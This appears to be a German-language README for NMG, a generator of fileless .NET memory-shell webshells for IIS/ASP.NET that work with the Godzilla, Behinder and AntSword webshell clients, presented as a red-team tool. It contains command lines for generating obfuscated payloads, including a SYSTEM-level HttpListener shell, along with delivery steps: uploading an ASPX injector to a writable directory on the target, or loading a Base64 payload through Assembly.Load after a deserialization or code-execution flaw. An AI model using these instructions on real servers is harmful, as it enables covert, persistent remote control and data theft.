
Erzeugt parametrisierte .NET-Memory-Shell-Payloads (VPP, MVC-Route, HttpListener), die mit Godzilla-, Behinder- und AntSword-Clients für Red-Team-Tests kompatibel sind.
Parametrisierter .NET Memory-Shell-Generator | Red Team / Sicherheitstests | JMG-Äquivalent für .NET
+-----------------------------------------------------+
| nmg.exe (CLI) |
+------------------------+----------------------------+
| generate (payload) | probe (env detection) |
+------------------------+----------------------------+
| Protocol Layer |
| +----------+ +----------+ +----------+ |
| | Godzilla | | Behinder | | AntSword | |
| | AES-128 | | AES-128 | | Base64 | |
| +----------+ +----------+ +----------+ |
+------------------------------------------------------+
| Template Layer |
| +----------+ +----------+ +--------------+ |
| | VPP | | Route | | HttpListener | |
| | IIS hook | |MVC Route | | Standalone | |
| +----------+ +----------+ +--------------+ |
+------------------------------------------------------+
| Compilation Engine |
| Roslyn -> DLL (net40/net472) |
| deterministic / XOR obfuscated / randomized |
+------------------------------------------------------+
| Output Layer |
| aspx injector / base64 / dll |
+------------------------------------------------------+
NMG generiert parametrisierte .NET Memory-Shell-Payloads, die in IIS/ASP.NET-Anwendungen injiziert werden, ohne Dateien auf der Festplatte zu hinterlassen. Nach der Injektion verbinden Sie sich mit bestehenden Webshell-Managern (Godzilla / Behinder / AntSword) - NMG sorgt nur dafür, dass die Serverseite funktioniert.
Stellen Sie es sich so vor: Eingabeparameter -> kompilierte Payload -> injizieren -> mit Client verbinden
| Typ | Ziel | .NET Framework | Auslösepunkt |
|---|---|---|---|
vpp | IIS/ASP.NET | 2.0+ | VirtualPathProvider.GetCacheKey |
route | MVC/WebAPI | 3.5+ | RouteBase.GetRouteData |
httplistener | Standalone/SYSTEM | 2.0+ | HttpListener (unabhängig von IIS) |
| Protokoll | Client | Verschlüsselung | Verifiziert |
|---|---|---|---|
godzilla | Godzilla 4.x | AES-128 (key=MD5(pass+key)[0:16]) | ✅ End-to-End |
behinder | Behinder 4.x | AES-128 (key=MD5(pass)[0:16] raw bytes) | ✅ End-to-End |
antsword | AntSword | Base64 | ✅ End-to-End |
| Format | Anwendungsfall |
|---|---|
aspx | In ein beschreibbares Verzeichnis hochladen, einmal aufrufen, um zu injizieren |
b64 | Für RCE-Übermittlung via Deserialisierung/Expression-Injection |
dll | Rohe DLL für benutzerdefinierte Loader |
| Befehl | Zweck |
|---|---|
generate | Memory-Shell-Payload generieren |
probe | Umgebungserkennung als aspx generieren (meldet CLR/Trust/MVC/VPP) |
version | Version anzeigen |
help | Nutzung anzeigen |
Integrierte Weboberfläche mit Inset Dark Theme (Linear-Stil-Minimalismus):
cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901
# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42
# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472
# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"
# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass
# Generate environment probe page
nmg probe -o probe.aspx
# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64
Methode 1 — ASPX-Injector:
.aspx-Datei in ein beliebiges beschreibbares Verzeichnis auf dem Ziel hochAssembly.Load + VPP-Registrierung aus).aspx/.ashx/.asmx auf der WebsiteMethode 2 — Base64 (RCE-Bereitstellung): Führen Sie an einem beliebigen Codeausführungspunkt aus:
Assembly.Load(Convert.FromBase64String("<payload>"))
Laden Sie die generierte probe.aspx hoch und rufen Sie sie einmal auf. Sie gibt JSON zurück mit:
{
"clr": "4.0.30319.42000",
"trustLevel": "Full",
"mvc": false,
"vpp": "Net.Net.Loader.PathHandler74",
"appPool": "NmgLab"
}
Verwenden Sie dies, um zu bestimmen, welcher Memory-Shell-Typ und welches Protokoll verwendet werden soll.
ASP.xxx_aspx+ClassNamedotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/
nmg/
├── src/
│ ├── Program.cs # CLI entry point
│ ├── GenerateOptions.cs # generate pipeline (protocol × type × format)
│ ├── ProbeCommand.cs # probe subcommand
│ ├── Shells/
│ │ ├── GodzillaCSharp.cs # Godzilla protocol (AES-128)
│ │ ├── BehinderNet.cs # Behinder protocol (AES-128 raw bytes)
│ │ └── AntSwordNet.cs # AntSword protocol (Base64)
│ ├── Templates/
│ │ ├── VppTemplate.cs # VirtualPathProvider registrar
│ │ ├── RouteTemplate.cs # RouteBase registrar
│ │ ├── HttpListenerTemplate.cs
│ │ └── ProbeTemplate.cs # Environment probe page
│ ├── Compiler/
│ │ └── RoslynCompiler.cs # Multi-target deterministic Roslyn
│ ├── Randomizer/
│ │ └── SeedRandom.cs # Deterministic randomization
│ ├── Formats/
│ │ ├── AspxInjector.cs # Self-contained aspx injector page
│ │ └── Base64Output.cs # Raw Base64 output
│ └── Api/
│ ├── Program.cs # ASP.NET Core minimal API
│ └── wwwroot/index.html # Web UI (Inset Dark)
└── tests/ # 35 unit tests
MIT